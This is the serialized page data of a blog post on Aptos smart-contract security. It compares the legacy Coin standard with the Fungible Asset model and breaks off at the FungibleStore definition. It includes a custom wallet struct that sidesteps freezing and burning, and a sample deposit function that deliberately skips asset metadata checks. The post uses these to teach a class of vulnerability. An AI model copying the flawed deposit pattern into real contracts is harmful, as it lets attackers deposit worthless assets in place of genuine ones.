[{"data":1,"prerenderedAt":169047},["ShallowReactive",2],{"blog-/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets":3,"featured-blog-posts":6918},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"image":10,"date":14,"isFeatured":15,"onBlogPage":15,"tags":16,"body":18,"_type":6912,"_id":6913,"_source":6914,"_file":6915,"_stem":6916,"_extension":6917},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","blog",false,"","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":11,"width":12,"height":13},"/posts/aptos-guide/title.png",970,826,"2025-02-10",true,[17],"aptos",{"type":19,"children":20,"toc":6896},"root",[21,38,43,52,59,90,189,232,267,434,453,535,575,603,622,627,635,640,646,667,747,781,789,802,807,1221,1226,1231,1237,1242,1254,1359,1397,1401,1419,1742,1747,1759,1766,1792,1813,1818,2003,2024,2030,2051,2063,2068,2074,2086,2151,2179,2203,2431,2434,2453,2564,2621,2757,2784,2790,2817,3066,3094,3398,3432,3446,3472,3505,3820,3832,4110,4124,4446,4465,4471,4503,4543,4644,4664,4784,4801,4876,4888,4976,4997,5003,5008,5013,5030,5051,5423,5484,5489,5945,5950,5986,5992,6004,6026,6052,6261,6275,6533,6545,6572,6725,6744,6774,6780,6791,6796,6814,6890],{"type":22,"tag":23,"props":24,"children":25},"element","p",{},[26,29,36],{"type":27,"value":28},"text","Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":22,"tag":30,"props":31,"children":33},"code",{"className":32},[],[34],{"type":27,"value":35},"coin",{"type":27,"value":37}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":22,"tag":23,"props":39,"children":40},{},[41],{"type":27,"value":42},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":22,"tag":44,"props":45,"children":46},"important",{},[47],{"type":22,"tag":23,"props":48,"children":49},{},[50],{"type":27,"value":51},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":22,"tag":53,"props":54,"children":56},"h2",{"id":55},"aptos-coin-standard",[57],{"type":27,"value":58},"Aptos Coin standard",{"type":22,"tag":23,"props":60,"children":61},{},[62,64,70,72,77,79,88],{"type":27,"value":63},"In the beginning, Aptos used ",{"type":22,"tag":30,"props":65,"children":67},{"className":66},[],[68],{"type":27,"value":69},"Coin",{"type":27,"value":71},". It is still in use, although it is now considered \"legacy\". ",{"type":22,"tag":30,"props":73,"children":75},{"className":74},[],[76],{"type":27,"value":69},{"type":27,"value":78}," is ",{"type":22,"tag":80,"props":81,"children":85},"a",{"href":82,"rel":83},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[84],"nofollow",[86],{"type":27,"value":87},"defined",{"type":27,"value":89}," in Aptos as follows:",{"type":22,"tag":91,"props":92,"children":96},"pre",{"className":93,"code":94,"language":95,"meta":7,"style":7},"language-rust shiki shiki-themes slack-dark","struct Coin\u003Cphantom CoinType> has store {\n value: u64,\n}\n","rust",[97],{"type":22,"tag":30,"props":98,"children":99},{"__ignoreMap":7},[100,155,180],{"type":22,"tag":101,"props":102,"children":105},"span",{"class":103,"line":104},"line",1,[106,112,118,124,130,135,140,145,150],{"type":22,"tag":101,"props":107,"children":109},{"style":108},"--shiki-default:#569CD6",[110],{"type":27,"value":111},"struct",{"type":22,"tag":101,"props":113,"children":115},{"style":114},"--shiki-default:#4EC9B0",[116],{"type":27,"value":117}," Coin",{"type":22,"tag":101,"props":119,"children":121},{"style":120},"--shiki-default:#E6E6E6",[122],{"type":27,"value":123},"\u003C",{"type":22,"tag":101,"props":125,"children":127},{"style":126},"--shiki-default:#9CDCFE",[128],{"type":27,"value":129},"phantom",{"type":22,"tag":101,"props":131,"children":132},{"style":114},[133],{"type":27,"value":134}," CoinType",{"type":22,"tag":101,"props":136,"children":137},{"style":120},[138],{"type":27,"value":139},"> ",{"type":22,"tag":101,"props":141,"children":142},{"style":126},[143],{"type":27,"value":144},"has",{"type":22,"tag":101,"props":146,"children":147},{"style":126},[148],{"type":27,"value":149}," store",{"type":22,"tag":101,"props":151,"children":152},{"style":120},[153],{"type":27,"value":154}," {\n",{"type":22,"tag":101,"props":156,"children":158},{"class":103,"line":157},2,[159,164,170,175],{"type":22,"tag":101,"props":160,"children":161},{"style":126},[162],{"type":27,"value":163}," value",{"type":22,"tag":101,"props":165,"children":167},{"style":166},"--shiki-default:#D4D4D4",[168],{"type":27,"value":169},":",{"type":22,"tag":101,"props":171,"children":172},{"style":114},[173],{"type":27,"value":174}," u64",{"type":22,"tag":101,"props":176,"children":177},{"style":120},[178],{"type":27,"value":179},",\n",{"type":22,"tag":101,"props":181,"children":183},{"class":103,"line":182},3,[184],{"type":22,"tag":101,"props":185,"children":186},{"style":120},[187],{"type":27,"value":188},"}\n",{"type":22,"tag":23,"props":190,"children":191},{},[192,194,200,202,208,210,216,218,223,225,230],{"type":27,"value":193},"Aptos distinguishes coins by their type (",{"type":22,"tag":30,"props":195,"children":197},{"className":196},[],[198],{"type":27,"value":199},"CoinType",{"type":27,"value":201},") at compile time. For example, ",{"type":22,"tag":30,"props":203,"children":205},{"className":204},[],[206],{"type":27,"value":207},"Coin\u003COtter>",{"type":27,"value":209}," and ",{"type":22,"tag":30,"props":211,"children":213},{"className":212},[],[214],{"type":27,"value":215},"Coin\u003CWeasel>",{"type":27,"value":217}," represent different coins, and you cannot pass a ",{"type":22,"tag":30,"props":219,"children":221},{"className":220},[],[222],{"type":27,"value":215},{"type":27,"value":224}," to a function expecting ",{"type":22,"tag":30,"props":226,"children":228},{"className":227},[],[229],{"type":27,"value":207},{"type":27,"value":231},".",{"type":22,"tag":23,"props":233,"children":234},{},[235,237,242,244,249,251,257,259,265],{"type":27,"value":236},"The type signature reveals why ",{"type":22,"tag":30,"props":238,"children":240},{"className":239},[],[241],{"type":27,"value":69},{"type":27,"value":243}," has become a legacy standard. ",{"type":22,"tag":30,"props":245,"children":247},{"className":246},[],[248],{"type":27,"value":69},{"type":27,"value":250}," has only the ",{"type":22,"tag":30,"props":252,"children":254},{"className":253},[],[255],{"type":27,"value":256},"store",{"type":27,"value":258}," ability and uses a ",{"type":22,"tag":30,"props":260,"children":262},{"className":261},[],[263],{"type":27,"value":264},"CoinStore",{"type":27,"value":266}," wrapper to store the coin and metadata:",{"type":22,"tag":91,"props":268,"children":270},{"className":93,"code":269,"language":95,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>,\n frozen: bool,\n deposit_events: EventHandle\u003CDepositEvent>,\n withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[271],{"type":22,"tag":30,"props":272,"children":273},{"__ignoreMap":7},[274,315,344,365,396,426],{"type":22,"tag":101,"props":275,"children":276},{"class":103,"line":104},[277,281,286,290,294,298,302,306,311],{"type":22,"tag":101,"props":278,"children":279},{"style":108},[280],{"type":27,"value":111},{"type":22,"tag":101,"props":282,"children":283},{"style":114},[284],{"type":27,"value":285}," CoinStore",{"type":22,"tag":101,"props":287,"children":288},{"style":120},[289],{"type":27,"value":123},{"type":22,"tag":101,"props":291,"children":292},{"style":126},[293],{"type":27,"value":129},{"type":22,"tag":101,"props":295,"children":296},{"style":114},[297],{"type":27,"value":134},{"type":22,"tag":101,"props":299,"children":300},{"style":120},[301],{"type":27,"value":139},{"type":22,"tag":101,"props":303,"children":304},{"style":126},[305],{"type":27,"value":144},{"type":22,"tag":101,"props":307,"children":308},{"style":126},[309],{"type":27,"value":310}," key",{"type":22,"tag":101,"props":312,"children":313},{"style":120},[314],{"type":27,"value":154},{"type":22,"tag":101,"props":316,"children":317},{"class":103,"line":157},[318,323,327,331,335,339],{"type":22,"tag":101,"props":319,"children":320},{"style":126},[321],{"type":27,"value":322}," coin",{"type":22,"tag":101,"props":324,"children":325},{"style":166},[326],{"type":27,"value":169},{"type":22,"tag":101,"props":328,"children":329},{"style":114},[330],{"type":27,"value":117},{"type":22,"tag":101,"props":332,"children":333},{"style":120},[334],{"type":27,"value":123},{"type":22,"tag":101,"props":336,"children":337},{"style":114},[338],{"type":27,"value":199},{"type":22,"tag":101,"props":340,"children":341},{"style":120},[342],{"type":27,"value":343},">,\n",{"type":22,"tag":101,"props":345,"children":346},{"class":103,"line":182},[347,352,356,361],{"type":22,"tag":101,"props":348,"children":349},{"style":126},[350],{"type":27,"value":351}," frozen",{"type":22,"tag":101,"props":353,"children":354},{"style":166},[355],{"type":27,"value":169},{"type":22,"tag":101,"props":357,"children":358},{"style":114},[359],{"type":27,"value":360}," bool",{"type":22,"tag":101,"props":362,"children":363},{"style":120},[364],{"type":27,"value":179},{"type":22,"tag":101,"props":366,"children":368},{"class":103,"line":367},4,[369,374,378,383,387,392],{"type":22,"tag":101,"props":370,"children":371},{"style":126},[372],{"type":27,"value":373}," deposit_events",{"type":22,"tag":101,"props":375,"children":376},{"style":166},[377],{"type":27,"value":169},{"type":22,"tag":101,"props":379,"children":380},{"style":114},[381],{"type":27,"value":382}," EventHandle",{"type":22,"tag":101,"props":384,"children":385},{"style":120},[386],{"type":27,"value":123},{"type":22,"tag":101,"props":388,"children":389},{"style":114},[390],{"type":27,"value":391},"DepositEvent",{"type":22,"tag":101,"props":393,"children":394},{"style":120},[395],{"type":27,"value":343},{"type":22,"tag":101,"props":397,"children":399},{"class":103,"line":398},5,[400,405,409,413,417,422],{"type":22,"tag":101,"props":401,"children":402},{"style":126},[403],{"type":27,"value":404}," withdraw_events",{"type":22,"tag":101,"props":406,"children":407},{"style":166},[408],{"type":27,"value":169},{"type":22,"tag":101,"props":410,"children":411},{"style":114},[412],{"type":27,"value":382},{"type":22,"tag":101,"props":414,"children":415},{"style":120},[416],{"type":27,"value":123},{"type":22,"tag":101,"props":418,"children":419},{"style":114},[420],{"type":27,"value":421},"WithdrawEvent",{"type":22,"tag":101,"props":423,"children":424},{"style":120},[425],{"type":27,"value":343},{"type":22,"tag":101,"props":427,"children":429},{"class":103,"line":428},6,[430],{"type":22,"tag":101,"props":431,"children":432},{"style":120},[433],{"type":27,"value":188},{"type":22,"tag":23,"props":435,"children":436},{},[437,439,444,446,451],{"type":27,"value":438},"However, an astute reader would note that this isn't the only place a ",{"type":22,"tag":30,"props":440,"children":442},{"className":441},[],[443],{"type":27,"value":69},{"type":27,"value":445}," can be stored. You can create your own ",{"type":22,"tag":30,"props":447,"children":449},{"className":448},[],[450],{"type":27,"value":69},{"type":27,"value":452}," wallet, which could look like this:",{"type":22,"tag":91,"props":454,"children":456},{"className":93,"code":455,"language":95,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>\n}\n",[457],{"type":22,"tag":30,"props":458,"children":459},{"__ignoreMap":7},[460,500,528],{"type":22,"tag":101,"props":461,"children":462},{"class":103,"line":104},[463,467,472,476,480,484,488,492,496],{"type":22,"tag":101,"props":464,"children":465},{"style":108},[466],{"type":27,"value":111},{"type":22,"tag":101,"props":468,"children":469},{"style":114},[470],{"type":27,"value":471}," DefinitelyLegitCoinStore",{"type":22,"tag":101,"props":473,"children":474},{"style":120},[475],{"type":27,"value":123},{"type":22,"tag":101,"props":477,"children":478},{"style":126},[479],{"type":27,"value":129},{"type":22,"tag":101,"props":481,"children":482},{"style":114},[483],{"type":27,"value":134},{"type":22,"tag":101,"props":485,"children":486},{"style":120},[487],{"type":27,"value":139},{"type":22,"tag":101,"props":489,"children":490},{"style":126},[491],{"type":27,"value":144},{"type":22,"tag":101,"props":493,"children":494},{"style":126},[495],{"type":27,"value":310},{"type":22,"tag":101,"props":497,"children":498},{"style":120},[499],{"type":27,"value":154},{"type":22,"tag":101,"props":501,"children":502},{"class":103,"line":157},[503,507,511,515,519,523],{"type":22,"tag":101,"props":504,"children":505},{"style":126},[506],{"type":27,"value":322},{"type":22,"tag":101,"props":508,"children":509},{"style":166},[510],{"type":27,"value":169},{"type":22,"tag":101,"props":512,"children":513},{"style":114},[514],{"type":27,"value":117},{"type":22,"tag":101,"props":516,"children":517},{"style":120},[518],{"type":27,"value":123},{"type":22,"tag":101,"props":520,"children":521},{"style":114},[522],{"type":27,"value":199},{"type":22,"tag":101,"props":524,"children":525},{"style":120},[526],{"type":27,"value":527},">\n",{"type":22,"tag":101,"props":529,"children":530},{"class":103,"line":182},[531],{"type":22,"tag":101,"props":532,"children":533},{"style":120},[534],{"type":27,"value":188},{"type":22,"tag":23,"props":536,"children":537},{},[538,543,545,551,553,558,560,566,568,573],{"type":22,"tag":30,"props":539,"children":541},{"className":540},[],[542],{"type":27,"value":264},{"type":27,"value":544}," includes a ",{"type":22,"tag":30,"props":546,"children":548},{"className":547},[],[549],{"type":27,"value":550},"frozen",{"type":27,"value":552}," field, allowing the issuer to block transfers to and from the store. ",{"type":22,"tag":30,"props":554,"children":556},{"className":555},[],[557],{"type":27,"value":264},{"type":27,"value":559}," is also required for a ",{"type":22,"tag":30,"props":561,"children":563},{"className":562},[],[564],{"type":27,"value":565},"burn_from",{"type":27,"value":567}," operation, which withdraws the ",{"type":22,"tag":30,"props":569,"children":571},{"className":570},[],[572],{"type":27,"value":35},{"type":27,"value":574}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":22,"tag":23,"props":576,"children":577},{},[578,580,585,587,594,596,601],{"type":27,"value":579},"Storing ",{"type":22,"tag":30,"props":581,"children":583},{"className":582},[],[584],{"type":27,"value":35},{"type":27,"value":586}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":22,"tag":80,"props":588,"children":591},{"href":589,"rel":590},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[84],[592],{"type":27,"value":593},"AIP-21",{"type":27,"value":595}," summarizes the ",{"type":22,"tag":30,"props":597,"children":599},{"className":598},[],[600],{"type":27,"value":35},{"type":27,"value":602}," problems:",{"type":22,"tag":604,"props":605,"children":606},"blockquote",{},[607,617],{"type":22,"tag":23,"props":608,"children":609},{},[610,615],{"type":22,"tag":101,"props":611,"children":612},{},[613],{"type":27,"value":614},"...",{"type":27,"value":616}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":22,"tag":23,"props":618,"children":619},{},[620],{"type":27,"value":621},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":22,"tag":23,"props":623,"children":624},{},[625],{"type":27,"value":626},"And declares, that:",{"type":22,"tag":604,"props":628,"children":629},{},[630],{"type":22,"tag":23,"props":631,"children":632},{},[633],{"type":27,"value":634},"Fungible assets addresses these issues.",{"type":22,"tag":23,"props":636,"children":637},{},[638],{"type":27,"value":639},"Let's find out whether this is indeed the case.",{"type":22,"tag":53,"props":641,"children":643},{"id":642},"the-fungible-assets",[644],{"type":27,"value":645},"The fungible assets",{"type":22,"tag":23,"props":647,"children":648},{},[649,651,657,659,666],{"type":27,"value":650},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":22,"tag":30,"props":652,"children":654},{"className":653},[],[655],{"type":27,"value":656},"FungibleAsset",{"type":27,"value":658}," uses the ",{"type":22,"tag":80,"props":660,"children":663},{"href":661,"rel":662},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[84],[664],{"type":27,"value":665},"hot-potato pattern",{"type":27,"value":169},{"type":22,"tag":91,"props":668,"children":670},{"className":93,"code":669,"language":95,"meta":7,"style":7},"struct FungibleAsset {\n metadata: Object\u003CMetadata>,\n amount: u64,\n}\n",[671],{"type":22,"tag":30,"props":672,"children":673},{"__ignoreMap":7},[674,690,720,740],{"type":22,"tag":101,"props":675,"children":676},{"class":103,"line":104},[677,681,686],{"type":22,"tag":101,"props":678,"children":679},{"style":108},[680],{"type":27,"value":111},{"type":22,"tag":101,"props":682,"children":683},{"style":114},[684],{"type":27,"value":685}," FungibleAsset",{"type":22,"tag":101,"props":687,"children":688},{"style":120},[689],{"type":27,"value":154},{"type":22,"tag":101,"props":691,"children":692},{"class":103,"line":157},[693,698,702,707,711,716],{"type":22,"tag":101,"props":694,"children":695},{"style":126},[696],{"type":27,"value":697}," metadata",{"type":22,"tag":101,"props":699,"children":700},{"style":166},[701],{"type":27,"value":169},{"type":22,"tag":101,"props":703,"children":704},{"style":114},[705],{"type":27,"value":706}," Object",{"type":22,"tag":101,"props":708,"children":709},{"style":120},[710],{"type":27,"value":123},{"type":22,"tag":101,"props":712,"children":713},{"style":114},[714],{"type":27,"value":715},"Metadata",{"type":22,"tag":101,"props":717,"children":718},{"style":120},[719],{"type":27,"value":343},{"type":22,"tag":101,"props":721,"children":722},{"class":103,"line":182},[723,728,732,736],{"type":22,"tag":101,"props":724,"children":725},{"style":126},[726],{"type":27,"value":727}," amount",{"type":22,"tag":101,"props":729,"children":730},{"style":166},[731],{"type":27,"value":169},{"type":22,"tag":101,"props":733,"children":734},{"style":114},[735],{"type":27,"value":174},{"type":22,"tag":101,"props":737,"children":738},{"style":120},[739],{"type":27,"value":179},{"type":22,"tag":101,"props":741,"children":742},{"class":103,"line":367},[743],{"type":22,"tag":101,"props":744,"children":745},{"style":120},[746],{"type":27,"value":188},{"type":22,"tag":23,"props":748,"children":749},{},[750,752,757,759,764,766,771,773,780],{"type":27,"value":751},"Unlike ",{"type":22,"tag":30,"props":753,"children":755},{"className":754},[],[756],{"type":27,"value":69},{"type":27,"value":758},", ",{"type":22,"tag":30,"props":760,"children":762},{"className":761},[],[763],{"type":27,"value":656},{"type":27,"value":765}," types are defined at runtime through the ",{"type":22,"tag":30,"props":767,"children":769},{"className":768},[],[770],{"type":27,"value":715},{"type":27,"value":772}," field. This change was meant to ",{"type":22,"tag":80,"props":774,"children":777},{"href":775,"rel":776},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[84],[778],{"type":27,"value":779},"enhance extensibility",{"type":27,"value":169},{"type":22,"tag":604,"props":782,"children":783},{},[784],{"type":22,"tag":23,"props":785,"children":786},{},[787],{"type":27,"value":788},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":22,"tag":23,"props":790,"children":791},{},[792,794,800],{"type":27,"value":793},"An important implication is that functions accepting ",{"type":22,"tag":30,"props":795,"children":797},{"className":796},[],[798],{"type":27,"value":799},"FungibleAssets",{"type":27,"value":801}," must verify the metadata to ensure valid assets.",{"type":22,"tag":23,"props":803,"children":804},{},[805],{"type":27,"value":806},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":22,"tag":91,"props":808,"children":810},{"className":93,"code":809,"language":95,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n sender: &signer, fa: FungibleAsset\n) acquires [...] {\n assert_not_paused();\n \n let fa_amount = fungible_asset::amount(&fa);\n let sender_address = address_of(sender);\n check_compliance(fa_amount, sender_address);\n \n increase_deposit(get_vault(sender_address), fa_amount);\n \n primary_fungible_store::deposit(global_vault_address(), fa);\n \n event::emit(Deposit {sender_address, fa_amount})\n}\n",[811],{"type":22,"tag":30,"props":812,"children":813},{"__ignoreMap":7},[814,854,894,921,935,943,995,1030,1061,1069,1108,1116,1156,1164,1213],{"type":22,"tag":101,"props":815,"children":816},{"class":103,"line":104},[817,822,827,832,836,841,845,849],{"type":22,"tag":101,"props":818,"children":819},{"style":126},[820],{"type":27,"value":821},"public",{"type":22,"tag":101,"props":823,"children":824},{"style":126},[825],{"type":27,"value":826}," fun",{"type":22,"tag":101,"props":828,"children":829},{"style":126},[830],{"type":27,"value":831}," deposit",{"type":22,"tag":101,"props":833,"children":834},{"style":120},[835],{"type":27,"value":123},{"type":22,"tag":101,"props":837,"children":838},{"style":114},[839],{"type":27,"value":840},"T",{"type":22,"tag":101,"props":842,"children":843},{"style":166},[844],{"type":27,"value":169},{"type":22,"tag":101,"props":846,"children":847},{"style":126},[848],{"type":27,"value":310},{"type":22,"tag":101,"props":850,"children":851},{"style":120},[852],{"type":27,"value":853},">(\n",{"type":22,"tag":101,"props":855,"children":856},{"class":103,"line":157},[857,862,866,871,876,880,885,889],{"type":22,"tag":101,"props":858,"children":859},{"style":126},[860],{"type":27,"value":861}," sender",{"type":22,"tag":101,"props":863,"children":864},{"style":166},[865],{"type":27,"value":169},{"type":22,"tag":101,"props":867,"children":868},{"style":166},[869],{"type":27,"value":870}," &",{"type":22,"tag":101,"props":872,"children":873},{"style":126},[874],{"type":27,"value":875},"signer",{"type":22,"tag":101,"props":877,"children":878},{"style":120},[879],{"type":27,"value":758},{"type":22,"tag":101,"props":881,"children":882},{"style":126},[883],{"type":27,"value":884},"fa",{"type":22,"tag":101,"props":886,"children":887},{"style":166},[888],{"type":27,"value":169},{"type":22,"tag":101,"props":890,"children":891},{"style":114},[892],{"type":27,"value":893}," FungibleAsset\n",{"type":22,"tag":101,"props":895,"children":896},{"class":103,"line":182},[897,902,907,912,916],{"type":22,"tag":101,"props":898,"children":899},{"style":120},[900],{"type":27,"value":901},") ",{"type":22,"tag":101,"props":903,"children":904},{"style":126},[905],{"type":27,"value":906},"acquires",{"type":22,"tag":101,"props":908,"children":909},{"style":120},[910],{"type":27,"value":911}," [",{"type":22,"tag":101,"props":913,"children":914},{"style":166},[915],{"type":27,"value":614},{"type":22,"tag":101,"props":917,"children":918},{"style":120},[919],{"type":27,"value":920},"] {\n",{"type":22,"tag":101,"props":922,"children":923},{"class":103,"line":367},[924,930],{"type":22,"tag":101,"props":925,"children":927},{"style":926},"--shiki-default:#DCDCAA",[928],{"type":27,"value":929}," assert_not_paused",{"type":22,"tag":101,"props":931,"children":932},{"style":120},[933],{"type":27,"value":934},"();\n",{"type":22,"tag":101,"props":936,"children":937},{"class":103,"line":398},[938],{"type":22,"tag":101,"props":939,"children":940},{"style":120},[941],{"type":27,"value":942}," \n",{"type":22,"tag":101,"props":944,"children":945},{"class":103,"line":428},[946,951,956,961,966,971,976,981,986,990],{"type":22,"tag":101,"props":947,"children":948},{"style":108},[949],{"type":27,"value":950}," let",{"type":22,"tag":101,"props":952,"children":953},{"style":126},[954],{"type":27,"value":955}," fa_amount",{"type":22,"tag":101,"props":957,"children":958},{"style":166},[959],{"type":27,"value":960}," =",{"type":22,"tag":101,"props":962,"children":963},{"style":120},[964],{"type":27,"value":965}," fungible_asset",{"type":22,"tag":101,"props":967,"children":968},{"style":166},[969],{"type":27,"value":970},"::",{"type":22,"tag":101,"props":972,"children":973},{"style":926},[974],{"type":27,"value":975},"amount",{"type":22,"tag":101,"props":977,"children":978},{"style":120},[979],{"type":27,"value":980},"(",{"type":22,"tag":101,"props":982,"children":983},{"style":166},[984],{"type":27,"value":985},"&",{"type":22,"tag":101,"props":987,"children":988},{"style":126},[989],{"type":27,"value":884},{"type":22,"tag":101,"props":991,"children":992},{"style":120},[993],{"type":27,"value":994},");\n",{"type":22,"tag":101,"props":996,"children":998},{"class":103,"line":997},7,[999,1003,1008,1012,1017,1021,1026],{"type":22,"tag":101,"props":1000,"children":1001},{"style":108},[1002],{"type":27,"value":950},{"type":22,"tag":101,"props":1004,"children":1005},{"style":126},[1006],{"type":27,"value":1007}," sender_address",{"type":22,"tag":101,"props":1009,"children":1010},{"style":166},[1011],{"type":27,"value":960},{"type":22,"tag":101,"props":1013,"children":1014},{"style":926},[1015],{"type":27,"value":1016}," address_of",{"type":22,"tag":101,"props":1018,"children":1019},{"style":120},[1020],{"type":27,"value":980},{"type":22,"tag":101,"props":1022,"children":1023},{"style":126},[1024],{"type":27,"value":1025},"sender",{"type":22,"tag":101,"props":1027,"children":1028},{"style":120},[1029],{"type":27,"value":994},{"type":22,"tag":101,"props":1031,"children":1033},{"class":103,"line":1032},8,[1034,1039,1043,1048,1052,1057],{"type":22,"tag":101,"props":1035,"children":1036},{"style":926},[1037],{"type":27,"value":1038}," check_compliance",{"type":22,"tag":101,"props":1040,"children":1041},{"style":120},[1042],{"type":27,"value":980},{"type":22,"tag":101,"props":1044,"children":1045},{"style":126},[1046],{"type":27,"value":1047},"fa_amount",{"type":22,"tag":101,"props":1049,"children":1050},{"style":120},[1051],{"type":27,"value":758},{"type":22,"tag":101,"props":1053,"children":1054},{"style":126},[1055],{"type":27,"value":1056},"sender_address",{"type":22,"tag":101,"props":1058,"children":1059},{"style":120},[1060],{"type":27,"value":994},{"type":22,"tag":101,"props":1062,"children":1064},{"class":103,"line":1063},9,[1065],{"type":22,"tag":101,"props":1066,"children":1067},{"style":120},[1068],{"type":27,"value":942},{"type":22,"tag":101,"props":1070,"children":1072},{"class":103,"line":1071},10,[1073,1078,1082,1087,1091,1095,1100,1104],{"type":22,"tag":101,"props":1074,"children":1075},{"style":926},[1076],{"type":27,"value":1077}," increase_deposit",{"type":22,"tag":101,"props":1079,"children":1080},{"style":120},[1081],{"type":27,"value":980},{"type":22,"tag":101,"props":1083,"children":1084},{"style":926},[1085],{"type":27,"value":1086},"get_vault",{"type":22,"tag":101,"props":1088,"children":1089},{"style":120},[1090],{"type":27,"value":980},{"type":22,"tag":101,"props":1092,"children":1093},{"style":126},[1094],{"type":27,"value":1056},{"type":22,"tag":101,"props":1096,"children":1097},{"style":120},[1098],{"type":27,"value":1099},"), ",{"type":22,"tag":101,"props":1101,"children":1102},{"style":126},[1103],{"type":27,"value":1047},{"type":22,"tag":101,"props":1105,"children":1106},{"style":120},[1107],{"type":27,"value":994},{"type":22,"tag":101,"props":1109,"children":1111},{"class":103,"line":1110},11,[1112],{"type":22,"tag":101,"props":1113,"children":1114},{"style":120},[1115],{"type":27,"value":942},{"type":22,"tag":101,"props":1117,"children":1119},{"class":103,"line":1118},12,[1120,1125,1129,1134,1138,1143,1148,1152],{"type":22,"tag":101,"props":1121,"children":1122},{"style":120},[1123],{"type":27,"value":1124}," primary_fungible_store",{"type":22,"tag":101,"props":1126,"children":1127},{"style":166},[1128],{"type":27,"value":970},{"type":22,"tag":101,"props":1130,"children":1131},{"style":926},[1132],{"type":27,"value":1133},"deposit",{"type":22,"tag":101,"props":1135,"children":1136},{"style":120},[1137],{"type":27,"value":980},{"type":22,"tag":101,"props":1139,"children":1140},{"style":926},[1141],{"type":27,"value":1142},"global_vault_address",{"type":22,"tag":101,"props":1144,"children":1145},{"style":120},[1146],{"type":27,"value":1147},"(), ",{"type":22,"tag":101,"props":1149,"children":1150},{"style":126},[1151],{"type":27,"value":884},{"type":22,"tag":101,"props":1153,"children":1154},{"style":120},[1155],{"type":27,"value":994},{"type":22,"tag":101,"props":1157,"children":1159},{"class":103,"line":1158},13,[1160],{"type":22,"tag":101,"props":1161,"children":1162},{"style":120},[1163],{"type":27,"value":942},{"type":22,"tag":101,"props":1165,"children":1167},{"class":103,"line":1166},14,[1168,1173,1177,1182,1186,1191,1196,1200,1204,1208],{"type":22,"tag":101,"props":1169,"children":1170},{"style":120},[1171],{"type":27,"value":1172}," event",{"type":22,"tag":101,"props":1174,"children":1175},{"style":166},[1176],{"type":27,"value":970},{"type":22,"tag":101,"props":1178,"children":1179},{"style":926},[1180],{"type":27,"value":1181},"emit",{"type":22,"tag":101,"props":1183,"children":1184},{"style":120},[1185],{"type":27,"value":980},{"type":22,"tag":101,"props":1187,"children":1188},{"style":114},[1189],{"type":27,"value":1190},"Deposit",{"type":22,"tag":101,"props":1192,"children":1193},{"style":120},[1194],{"type":27,"value":1195}," {",{"type":22,"tag":101,"props":1197,"children":1198},{"style":126},[1199],{"type":27,"value":1056},{"type":22,"tag":101,"props":1201,"children":1202},{"style":120},[1203],{"type":27,"value":758},{"type":22,"tag":101,"props":1205,"children":1206},{"style":126},[1207],{"type":27,"value":1047},{"type":22,"tag":101,"props":1209,"children":1210},{"style":120},[1211],{"type":27,"value":1212},"})\n",{"type":22,"tag":101,"props":1214,"children":1216},{"class":103,"line":1215},15,[1217],{"type":22,"tag":101,"props":1218,"children":1219},{"style":120},[1220],{"type":27,"value":188},{"type":22,"tag":23,"props":1222,"children":1223},{},[1224],{"type":27,"value":1225},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":22,"tag":23,"props":1227,"children":1228},{},[1229],{"type":27,"value":1230},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":22,"tag":53,"props":1232,"children":1234},{"id":1233},"fungible-stores",[1235],{"type":27,"value":1236},"Fungible stores",{"type":22,"tag":23,"props":1238,"children":1239},{},[1240],{"type":27,"value":1241},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":22,"tag":23,"props":1243,"children":1244},{},[1245,1247,1253],{"type":27,"value":1246},"Meet the ",{"type":22,"tag":30,"props":1248,"children":1250},{"className":1249},[],[1251],{"type":27,"value":1252},"FungibleStore",{"type":27,"value":231},{"type":22,"tag":91,"props":1255,"children":1257},{"className":93,"code":1256,"language":95,"meta":7,"style":7},"struct FungibleStore has key {\n metadata: Object\u003CMetadata>,\n balance: u64,\n 